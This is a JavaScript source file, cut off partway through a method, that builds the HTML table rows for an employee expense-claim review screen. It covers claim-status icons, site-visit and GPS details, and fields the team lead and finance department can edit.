var tempEmpId = "";
var tempSiteVisitDate = "";
var similarRecordsCount = 1;
var currentLoopCondition = false;
var projectList_KeyValue_In_Json = 'projectsList';
class SelectedTabRelatedTableDataValueFields {
	constructor() {
		tempEmpId = "";
		tempSiteVisitDate = "";
		currentLoopCondition = false;
	}
    getClaimStatusIconTag(Td_class,customAttributes,claimStatus){
		//changing claiming status icon color
		let claimStatusIconClass;
		let claimStatusTitle;
		switch (claimStatus) {
			case Number(CLAIM_IN_EMP_BUCKET): //pending at emp
			    claimStatusIconClass = 'fa fa-check-square text-secondary sticky-column col3 claimStatusIcon';
				claimStatusTitle="PENDING AT ENGINEER";
				break;
			case Number(CLAIM_PENDING): //pending at TL
				claimStatusIconClass = 'fa fa-check-square text-warning sticky-column col3 claimStatusIcon';
				claimStatusTitle="PENDING AT TL";
				break;
			case Number(CLAIM_TL_APPROVED): //approved  by TL
				claimStatusIconClass = 'fa fa-check-square text-primary sticky-column col3 claimStatusIcon';
				claimStatusTitle="TL APPROVED";
				break;
			case Number(CLAIM_TL_REJECTED): //reject by TL
				claimStatusIconClass = 'fa fa-check-square text-danger sticky-column col3 claimStatusIcon';
				claimStatusTitle="TL REJECTED";
				break;
			case Number(CLAIM_FINANCE_APPROVED): // Finance Approved
				claimStatusIconClass = 'fa fa-check-square text-violate sticky-column col3 claimStatusIcon';
				claimStatusTitle="FINANCE APPROVED";
				break;
			case Number(CLAIM_FINANCE_REJECTED): //reject by finance
				claimStatusIconClass = 'fa fa-check-square text-danger sticky-column col3 claimStatusIcon';
				claimStatusTitle="FINANCE REJECTED";
				break;
			case Number(CLAIM_PERMANENT_TL_REJECT): //permanent reject by TL
			    claimStatusIconClass = 'fa fa-times text-danger sticky-column col3 claimStatusIcon';
				claimStatusTitle="TL PERMANENTLY REJECTED";
			    break;
			case Number(CLAIM_PERMANENT_FINANCE_REJECT): //permanent reject by Finance
				claimStatusIconClass = 'fa fa-times text-danger sticky-column col3 claimStatusIcon';
				claimStatusTitle="FINANCE PERMANENTLY REJECTED";
				break;
			case Number(CLAIM_PAID)://paid
				claimStatusIconClass = 'fa fa-check-square text-success sticky-column col3 claimStatusIcon';
				claimStatusTitle="PAID";
				break;

		}
		let claimstatusIcon="<i id='claimStatus_" + Td_class + "' class='" + claimStatusIconClass+ "' " + customAttributes + " data-claimStatus='" + claimStatus + "' data-toggle='tooltip' title='"+claimStatusTitle+"'></i>";
		return claimstatusIcon;
	}
// 	claimExpiringDetails(siteVisitDate){
// 	    let returnArray=[];
// 	        returnArray["claimExpired"]=false;
// 	    let noOfDaysLeftToExpireClaim=(expiredDate)=>{
//             let expiredDateTime=new Date(expiredDate).getTime();
//             let currentDateTime=new Date(new Date().toLocaleDateString('fr-CA')).getTime();
//             let timeDifference=(expiredDateTime - currentDateTime);
//             let days=timeDifference/(1000*3600*24);
//             return days;
//         }
//         let getExpiredDateFromSiteVisitDate=()=>{
//             let date = new Date(siteVisitDate);
//             return new Date(date.getFullYear(), date.getMonth()+1, 7).toLocaleDateString('fr-CA');// every month 07 last date
//         }
// 	    let noOfDaysLeft=noOfDaysLeftToExpireClaim(getExpiredDateFromSiteVisitDate());
// 	    returnArray["noOfDaysLeft"]=noOfDaysLeft;
//     	    if(noOfDaysLeft<0){ // function return -val means already expired 
//     	        returnArray["claimExpired"]=true;
//     	    }
// 	    return returnArray
// 	}

	employeeImagesProof(employImage) {
		if (employImage) {
			employImage = IMAGE_BASE_URL + employImage; //IMAGE_BASE_URL is constant variable in contant.js
		} else {
			//default image if not found
			employImage = "../defaultImages/noImageFound.png";
		}
		return employImage;

	}
	createNewTableRowStart(rowValues) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		currentLoopCondition = tempEmpId == rowValues.empId && tempSiteVisitDate == rowValues.date;
		let fakeGpsClass = ((LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) ? rowValues.fakeGps : '');
		switch (currentLoopCondition) {
		    case false: // firt table row
    		    return "<tr class='data-content_" + Td_class + " "+fakeGpsClass+" getGrandTotalReference_class' scop='row' data-commonId='data-content_" + Td_class +"'>";
    		    break;
    		case true:// 2nd table row
    		    return "<tr class='data-content_" + Td_class + " "+fakeGpsClass+"' scop='row' data-commonId='data-content_" + Td_class +"'>";
    		    break;
    		    
		    
		}
	}
	createNewTableRowClose(rowValues, forLoopIndex) {
		tempEmpId = rowValues.empId;
		tempSiteVisitDate = rowValues.date;
		if (rowValues.siteOnOfTheDayVisitCount == similarRecordsCount) {
			similarRecordsCount = 1;
			return "</tr>" + this.createNewTableDataFields_ImageBillsTableRow(rowValues, forLoopIndex);
		} else {
			similarRecordsCount++;
			return "</tr>";
		}

	}

	TL_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) {
		var claimSatus_depend_ui;
		var Td_id = rowValues.empId + "_" + rowValues.date + "_" + forLoopIndex;
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";

		// var reference_emp_index = String(rowValues.empId) + forLoopIndex;
		// var reference_emp_date = String(rowValues.empId) + rowValues.date;
		var commonRowFieldsValues;
		switch (currentLoopCondition) {

			case false:// first row on of the site-visit date (site-visit-order=1)

				commonRowFieldsValues = "<td class='d-none'>" +
					"<input  id='serverId_invisible_" + Td_id + "' class='serverId_invisible_" + Td_class + "' " + customAttributes + "  type='number' value='" + rowValues.tesfId + "'/></td>" + // d-none in ui only for backend
					"<td id='sNo_" + Td_id + "' class='sticky-column td col1 serialNumber sNo_" + Td_class + "' " + customAttributes + ">" + rowValues.sno + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='empId_" + Td_class + "' class='sticky-column col2 border-left' " + customAttributes + ">" + rowValues.empId + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='empName_" + Td_class + "' class='sticky-column col3 border-right' " + customAttributes + ">" + rowValues.empName + "</td>" +
					"<td  class='selfyimg sticky-column col4'><img id='selfyimg_" + Td_id + "' class='selfyimg_" + Td_class + "' " + customAttributes + "  src=" + this.employeeImagesProof(rowValues.employeeImages) + " /></td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'  class='claimStatusTd sticky-column col5 border-left border-right'>"+ this.getClaimStatusIconTag(Td_class,customAttributes,rowValues.claimstatus) +"</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='siteVisitDate_" + Td_class + "' class='sticky-column col6' " + customAttributes + ">" + rowValues.date + "</td>" +
					"<td>" + rowValues.siteVisitedOrder + "</td>" +
					"<td>" + rowValues.userLocationAddress + "</td>" +
					"<td>" + rowValues.userLat + ", " + rowValues.userLng + "</td>" +
					"<td class='siteID_tableData'>" + rowValues.siteID + "</td>" +
					"<td>" + rowValues.sitelat + ", " + rowValues.siteLong + "</td>" +
					"<td id='getDirectionLatLng_" + Td_id + "' class='getDirectionLatLng_" + Td_class + " d-none'  " + customAttributes + ">" + rowValues.userLat + ", " + rowValues.userLng + "/" + rowValues.sitelat + ", " + rowValues.siteLong + "/</td>" + // no need to print in UI
					"<td><a id='singleTripMap_" + Td_id + "' class='onclickSingleTripMapBtn singleTripMap_" + Td_class + "'  " + customAttributes + "><i class='fa fa-directions'></i></a></td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' class='border-right border-left'><a id='roundTripMap_" + Td_class + "' class='onclickRoundTripMapBtn' " + customAttributes + "><i class='fa fa-directions'></i></a></td>"; // no need to print in UI
				if (rowValues.claimstatus == CLAIM_PENDING) {

					claimSatus_depend_ui = "<td>" + this.getSelectDropDownList(projectList_KeyValue_In_Json, rowValues.project, "projectDD project_" + Td_class, "project_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "'") + "</td>" +
						"<td>" + this.getSelectDropDownList(rowValues.project, rowValues.stageOfvisit, "stageOfAuditDD stageOfAudit_" + Td_class, "stageOfAudit_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "'") + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.customer + "</td>" +
						"<td>" + rowValues.siteDistrict + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td>" + rowValues.modeOfTransport + "</td>" +
						"<td>" + rowValues.supportingBillsAvailable + "</td>" +
						"<td>" + rowValues.reportSubmissionState + "</td>" +
						"<td>" + rowValues.distance + "</td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td class='engFTAValue_td_class'><input  id='FTAinput_" + Td_id + "' type='number' value=" + rowValues.fta + " class='FTAInputField FTAinput_" + Td_class + "' " + customAttributes + " data-initialValue='"+ rowValues.fta +"'  disabled/><i id='FTAEditBtn_" + Td_id + "' class='fa fa-edit pl-1 ftaEditBtn FTAEditBtn_" + Td_class + "' " + customAttributes + "></i></td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='totalDistance_" + Td_class + "' class='border-right border-left' >" + rowValues.totalDistance + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerDeputation_" + Td_class + "'>" + rowValues.engDeputation + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerDaAmount_" + Td_class + "'>" + rowValues.engDAAmount + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerOther_" + Td_class + "' class='engOtherAmountValue_class'>" + rowValues.engOtherBill + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerHotel_" + Td_class + "' class='engHotelAmountValue_class'>" + rowValues.engHotelBill + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerTotal_" + Td_class + "' class='engTotalAmountValue_class'>" + rowValues.engTotalAmount + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerClaimdate_" + Td_class + "' class='border-right'>" + rowValues.claimdate + "</td>";

				} else {
					claimSatus_depend_ui = "<td>" + this.getSelectDropDownList(projectList_KeyValue_In_Json, rowValues.project, "projectDD project_" + Td_class, "project_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "' disabled") + "</td>" +
						"<td>" + this.getSelectDropDownList(rowValues.project, rowValues.stageOfvisit, "stageOfAuditDD stageOfAudit_" + Td_class, "stageOfAudit_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "' disabled") + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.customer + "</td>" +
						"<td>" + rowValues.siteDistrict + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td>" + rowValues.modeOfTransport + "</td>" +
						"<td>" + rowValues.supportingBillsAvailable + "</td>" +
						"<td>" + rowValues.reportSubmissionState + "</td>" +
						"<td>" + rowValues.distance + "</td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td class='engFTAValue_td_class'><input  id='FTAinput_" + Td_id + "' type='number' value=" + rowValues.fta + " class='FTAInputField FTAinput_" + Td_class + "' " + customAttributes + " disabled/></td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='totalDistance_" + Td_class + "' class='border-right border-left' >" + rowValues.totalDistance + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerDeputation_" + Td_class + "'>" + rowValues.engDeputation + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerDaAmount_" + Td_class + "'>" + rowValues.engDAAmount + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerOther_" + Td_class + "' class='engOtherAmountValue_class'>" + rowValues.engOtherBill + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerHotel_" + Td_class + "' class='engHotelAmountValue_class'>" + rowValues.engHotelBill + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerTotal_" + Td_class + "' class='engTotalAmountValue_class'>" + rowValues.engTotalAmount + "</td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerClaimdate_" + Td_class + "' class='border-right'>" + rowValues.claimdate + "</td>";


				}
				break;
			case true: // 2nd or 3 or 4 or 5,6..) rows on of the same site-visit date (site-visit-order=2,3,4...)
				commonRowFieldsValues = "<td class='d-none'>" +
					"<input  id='serverId_invisible_" + Td_id + "' class='serverId_invisible_" + Td_class + "' " + customAttributes + "  type='number' value='" + rowValues.tesfId + "'/></td>" + // d-none in ui only for backend
					"<td id='sNo_" + Td_id + "' class='sticky-column td col1 serialNumber sNo_" + Td_class + "' " + customAttributes + ">" + rowValues.sno + "</td>" +
					"<td  class='selfyimg sticky-column col4'><img id='selfyimg_" + Td_id + "' class='selfyimg_" + Td_class + "' " + customAttributes + "  src=" + this.employeeImagesProof(rowValues.employeeImages) + " /></td>" +
					"<td>" + rowValues.siteVisitedOrder + "</td>" +
					"<td>" + rowValues.userLocationAddress + "</td>" +
					"<td>" + rowValues.userLat + ", " + rowValues.userLng + "</td>" +
					"<td class='siteID_tableData'>" + rowValues.siteID + "</td>" +
					"<td>" + rowValues.sitelat + ", " + rowValues.siteLong + "</td>" +
					"<td id='getDirectionLatLng_" + Td_id + "' class='getDirectionLatLng_" + Td_class + " d-none'  " + customAttributes + ">" + rowValues.userLat + ", " + rowValues.userLng + "/" + rowValues.sitelat + ", " + rowValues.siteLong + "/</td>" + // no need to print in UI
					"<td><a id='singleTripMap_" + Td_id + "' class='onclickSingleTripMapBtn singleTripMap_" + Td_class + "'  " + customAttributes + "><i class='fa fa-directions'></i></a></td>";
				if (rowValues.claimstatus == CLAIM_PENDING) {

					claimSatus_depend_ui = "<td>" + this.getSelectDropDownList(projectList_KeyValue_In_Json, rowValues.project, "projectDD project_" + Td_class, "project_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "'") + "</td>" +
						"<td>" + this.getSelectDropDownList(rowValues.project, rowValues.stageOfvisit, "stageOfAuditDD stageOfAudit_" + Td_class, "stageOfAudit_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "'") + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.customer + "</td>" +
						"<td>" + rowValues.siteDistrict + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td>" + rowValues.modeOfTransport + "</td>" +
						"<td>" + rowValues.supportingBillsAvailable + "</td>" +
						"<td>" + rowValues.reportSubmissionState + "</td>" +
						"<td>" + rowValues.distance + "</td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td class='engFTAValue_td_class'><input  id='FTAinput_" + Td_id + "' type='number' value=" + rowValues.fta + " class='FTAInputField FTAinput_" + Td_class + "' " + customAttributes + " data-initialValue='"+ rowValues.fta +"'  disabled/><i id='FTAEditBtn_" + Td_id + "' class='fa fa-edit pl-1 ftaEditBtn FTAEditBtn_" + Td_class + "' " + customAttributes + "></i></td>";
				} else {
					claimSatus_depend_ui = "<td>" + this.getSelectDropDownList(projectList_KeyValue_In_Json, rowValues.project, "projectDD project_" + Td_class, "project_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "' disabled") + "</td>" +
						"<td>" + this.getSelectDropDownList(rowValues.project, rowValues.stageOfvisit, "stageOfAuditDD stageOfAudit_" + Td_class, "stageOfAudit_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "' disabled") + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.customer + "</td>" +
						"<td>" + rowValues.siteDistrict + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td>" + rowValues.modeOfTransport + "</td>" +
						"<td>" + rowValues.supportingBillsAvailable + "</td>" +
						"<td>" + rowValues.reportSubmissionState + "</td>" +
						"<td>" + rowValues.distance + "</td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td class='engFTAValue_td_class'><input  id='FTAinput_" + Td_id + "' type='number' value=" + rowValues.fta + " class='FTAInputField FTAinput_" + Td_class + "' " + customAttributes + " disabled/></td>";
			

				}
				break;



		}
		return commonRowFieldsValues + claimSatus_depend_ui;

	}

	finance_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) {
		var claimSatus_depend_ui;
		var Td_id = rowValues.empId + "_" + rowValues.date + "_" + forLoopIndex;
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		var commonRowFieldsValues;
		switch (currentLoopCondition) {
			case false: // if above condition false, merged ui fields included with rowspan will be appended.
				commonRowFieldsValues = "<td class='d-none'>" +
					"<input  id='serverId_invisible_" + Td_id + "' class='serverId_invisible_" + Td_class + "' " + customAttributes + "  type='number' value='" + rowValues.tesfId + "'/></td>" + // d-none in ui only for backend
					"<td id='sNo_" + Td_id + "' class='sticky-column td col1 serialNumber sNo_" + Td_class + "' " + customAttributes + ">" + rowValues.sno + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='empId_" + Td_class + "' class='sticky-column col2 border-left' " + customAttributes + ">" + rowValues.empId + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='empName_" + Td_class + "' class='sticky-column col3 border-right' " + customAttributes + ">" + rowValues.empName + "</td>" +
					"<td  class='selfyimg sticky-column col4'><img id='selfyimg_" + Td_id + "' class='selfyimg_" + Td_class + "' " + customAttributes + "  src=" + this.employeeImagesProof(rowValues.employeeImages) + " /></td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'  class='claimStatusTd sticky-column col5 border-left border-right'>" + this.getClaimStatusIconTag(Td_class,customAttributes,rowValues.claimstatus) + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='siteVisitDate_" + Td_class + "' class='sticky-column col6' " + customAttributes + ">" + rowValues.date + "</td>" +
					"<td>" + rowValues.siteVisitedOrder + "</td>" +
					"<td>" + rowValues.userLocationAddress + "</td>" +
					"<td>" + rowValues.userLat + ", " + rowValues.userLng + "</td>" +
					"<td class='siteID_tableData'>" + rowValues.siteID + "</td>" +
					"<td>" + rowValues.sitelat + ", " + rowValues.siteLong + "</td>" +
					"<td id='getDirectionLatLng_" + Td_id + "' class='getDirectionLatLng_" + Td_class + " d-none'  " + customAttributes + ">" + rowValues.userLat + ", " + rowValues.userLng + "/" + rowValues.sitelat + ", " + rowValues.siteLong + "/</td>" + // no need to print in UI
					"<td><a id='singleTripMap_" + Td_id + "' class='onclickSingleTripMapBtn singleTripMap_" + Td_class + "'  " + customAttributes + "><i class='fa fa-directions'></i></a></td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' class='border-right border-left'><a id='roundTripMap_" + Td_class + "' class='onclickRoundTripMapBtn' " + customAttributes + "><i class='fa fa-directions'></i></a></td>"+
					
					//for calculate grandTotal purpose only
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' class='engOtherAmountValue_class d-none'>"+ rowValues.engOtherBill + "</td>"+ // no need to print in UI
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' class='engHotelAmountValue_class d-none'>"+ rowValues.engHotelBill + "</td>"+ // no need to print in UI
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' class='engTotalAmountValue_class d-none'>"+ rowValues.engTotalAmount + "</td>"; // no need to print in UI
				if (rowValues.claimstatus == CLAIM_TL_APPROVED){ 

					claimSatus_depend_ui = "<td>" + this.getSelectDropDownList(projectList_KeyValue_In_Json, rowValues.project, "projectDD project_" + Td_class, "project_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "'") + "</td>" +
						"<td>" + this.getSelectDropDownList(rowValues.project, rowValues.stageOfvisit, "stageOfAuditDD stageOfAudit_" + Td_class, "stageOfAudit_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "'") + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td><input id='distanceInput_" + Td_id + "' type='number' value=" + rowValues.distance + " step='0.01' class='distanceInputField distanceInput_" + Td_class + "' " + customAttributes + " disabled/><i id='distanceEditBtn_" + Td_id + "' class='fa fa-edit pl-1 distanceEditBtn' " + customAttributes + "></i></td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td class='engFTAValue_td_class'><input  id='FTAinput_" + Td_id + "' type='number' value=" + rowValues.fta + " class='FTAInputField FTAinput_" + Td_class + "' " + customAttributes + " data-initialValue='"+ rowValues.fta +"' disabled/><i id='FTAEditBtn_" + Td_id + "' class='fa fa-edit pl-1 ftaEditBtn FTAEditBtn_" + Td_class + "' " + customAttributes + "></i></td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='totalDistance_" + Td_class + "' class='border-right border-left' >" + rowValues.totalDistance + "</td>";

				} else {
				// 	claimSatus_depend_ui = "<td><select>" + rowValues.project + "</td>" +
				// 		"<td>" + rowValues.stageOfvisit + "</td>" +
				// 		"<td>" + rowValues.siteName + "</td>" +
				// 		"<td>" + rowValues.siteCircle + "</td>" +
				// 		"<td>" + rowValues.from + "</td>" +
				// 		"<td>" + rowValues.to + "</td>" +
				// 		"<td>" + rowValues.distance + "</td>" +
				// 		"<td>" + rowValues.remark + "</td>" +
				// 		"<td>" + rowValues.fta + "</td>" +
				// 		"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='totalDistance_" + Td_class + "' class='border-right border-left' >" + rowValues.totalDistance + "</td>";


                    claimSatus_depend_ui = "<td>" + this.getSelectDropDownList(projectList_KeyValue_In_Json, rowValues.project, "projectDD project_" + Td_class, "project_" + Td_id, "disabled") + "</td>" +
						"<td>" + this.getSelectDropDownList(rowValues.project, rowValues.stageOfvisit, "stageOfAuditDD stageOfAudit_" + Td_class, "stageOfAudit_" + Td_id, "disabled") + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td><input id='distanceInput_" + Td_id + "' type='number' value=" + rowValues.distance + " step='0.01' class='distanceInputField distanceInput_" + Td_class + "' " + customAttributes + " disabled/></td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td class='engFTAValue_td_class'><input  id='FTAinput_" + Td_id + "' type='number' value=" + rowValues.fta + " class='FTAInputField FTAinput_" + Td_class + "' " + customAttributes + " disabled/></td>" +
						"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='totalDistance_" + Td_class + "' class='border-right border-left' >" + rowValues.totalDistance + "</td>";


				}
				break;

			case true: // if above condition true, unmerged ui fields only appended.
				commonRowFieldsValues = "<td class='d-none'>" +
					"<input  id='serverId_invisible_" + Td_id + "' class='serverId_invisible_" + Td_class + "' " + customAttributes + "  type='number' value='" + rowValues.tesfId + "'/></td>" + // d-none in ui only for backend
					"<td id='sNo_" + Td_id + "' class='sticky-column td col1 serialNumber sNo_" + Td_class + "' " + customAttributes + ">" + rowValues.sno + "</td>" +
					"<td  class='selfyimg sticky-column col4'><img id='selfyimg_" + Td_id + "' class='selfyimg_" + Td_class + "' " + customAttributes + "  src=" + this.employeeImagesProof(rowValues.employeeImages) + " /></td>" +
					"<td>" + rowValues.siteVisitedOrder + "</td>" +
					"<td>" + rowValues.userLocationAddress + "</td>" +
					"<td>" + rowValues.userLat + ", " + rowValues.userLng + "</td>" +
					"<td class='siteID_tableData'>" + rowValues.siteID + "</td>" +
					"<td>" + rowValues.sitelat + ", " + rowValues.siteLong + "</td>" +
					"<td id='getDirectionLatLng_" + Td_id + "' class='getDirectionLatLng_" + Td_class + " d-none'  " + customAttributes + ">" + rowValues.userLat + ", " + rowValues.userLng + "/" + rowValues.sitelat + ", " + rowValues.siteLong + "/</td>" + // no need to print in UI
					"<td><a id='singleTripMap_" + Td_id + "' class='onclickSingleTripMapBtn singleTripMap_" + Td_class + "'  " + customAttributes + "><i class='fa fa-directions'></i></a></td>";
				if (rowValues.claimstatus == CLAIM_TL_APPROVED){ 
				//if (rowValues.claimstatus) {

					claimSatus_depend_ui = "<td>" + this.getSelectDropDownList(projectList_KeyValue_In_Json, rowValues.project, "projectDD project_" + Td_class, "project_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "'") + "</td>" +
						"<td>" + this.getSelectDropDownList(rowValues.project, rowValues.stageOfvisit, "stageOfAuditDD stageOfAudit_" + Td_class, "stageOfAudit_" + Td_id, customAttributes + " data-siteVisitOrder='" + rowValues.siteVisitedOrder + "'") + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td><input id='distanceInput_" + Td_id + "' type='number' value=" + rowValues.distance + " step='0.01' class='distanceInputField distanceInput_" + Td_class + "' " + customAttributes + " disabled/><i id='distanceEditBtn_" + Td_id + "' class='fa fa-edit pl-1 distanceEditBtn' " + customAttributes + "></i></td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td class='engFTAValue_td_class'><input  id='FTAinput_" + Td_id + "' type='number' value=" + rowValues.fta + " class='FTAInputField FTAinput_" + Td_class + "' " + customAttributes + " data-initialValue='"+ rowValues.fta +"' disabled/><i id='FTAEditBtn_" + Td_id + "' class='fa fa-edit pl-1 ftaEditBtn FTAEditBtn_" + Td_class + "' " + customAttributes + "></i></td>";

				} else {
					/*claimSatus_depend_ui = "<td>" + rowValues.project + "</td>" +
						"<td>" + rowValues.stageOfvisit + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td>" + rowValues.distance + "</td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td>" + rowValues.fta + "</td>";*/
						
						
					claimSatus_depend_ui = "<td>" + this.getSelectDropDownList(projectList_KeyValue_In_Json, rowValues.project, "projectDD project_" + Td_class, "project_" + Td_id, "disabled") + "</td>" +
						"<td>" + this.getSelectDropDownList(rowValues.project, rowValues.stageOfvisit, "stageOfAuditDD stageOfAudit_" + Td_class, "stageOfAudit_" + Td_id, "disabled") + "</td>" +
						"<td>" + rowValues.siteName + "</td>" +
						"<td>" + rowValues.siteCircle + "</td>" +
						"<td>" + rowValues.from + "</td>" +
						"<td>" + rowValues.to + "</td>" +
						"<td><input id='distanceInput_" + Td_id + "' type='number' value=" + rowValues.distance + " step='0.01' class='distanceInputField distanceInput_" + Td_class + "' " + customAttributes + " disabled/></td>" +
						"<td>" + rowValues.remark + "</td>" +
						"<td class='engFTAValue_td_class'><input  id='FTAinput_" + Td_id + "' type='number' value=" + rowValues.fta + " class='FTAInputField FTAinput_" + Td_class + "' " + customAttributes + " disabled/></td>";

				}

				break;

		}




		return commonRowFieldsValues + claimSatus_depend_ui;

	}

	createNewTableDataFields_TLNonEditableFields(rowValues) {
		var Td_class = rowValues.empId + "_" + rowValues.date;

		switch (currentLoopCondition) {
			case false:
				var approvedTL;
				if (rowValues.claimstatus == Number(CLAIM_TL_REJECTED)) {
					approvedTL = '';
				} else {
					approvedTL = rowValues.approvedTL;
				}

				var TlNonEditableFields =
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLDeputation_" + Td_class + "'>" + rowValues.TLDeputation + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLDaAmountTd_" + Td_class + "'>" + rowValues.TLDAAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLOtherTd_" + Td_class + "' class='TLOtherAmountValue_class'>" + rowValues.TLOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLHotelTd_" + Td_class + "' class='TLHotelAmountValue_class'>" + rowValues.TLHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLTotalTd_" + Td_class + "' class='TLTotalAmountValue_class'>" + rowValues.TLTotalAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLDeductedAmountTd_" + Td_class + "'>" + rowValues.tlDeductedAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLDeductedReasonTd_" + Td_class + "'>" + rowValues.TLDeductedReason + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLApprovedByTd_" + Td_class + "'>" + approvedTL + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLApprovedDateTd_" + Td_class + "' class='border-right'>" + rowValues.tlApprovedDate + "</td>";

				return TlNonEditableFields;
		}

	}

	createNewTableDataFields_TLEditableFields(rowValues, forLoopIndex, map) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		var DA_value_selectTag;

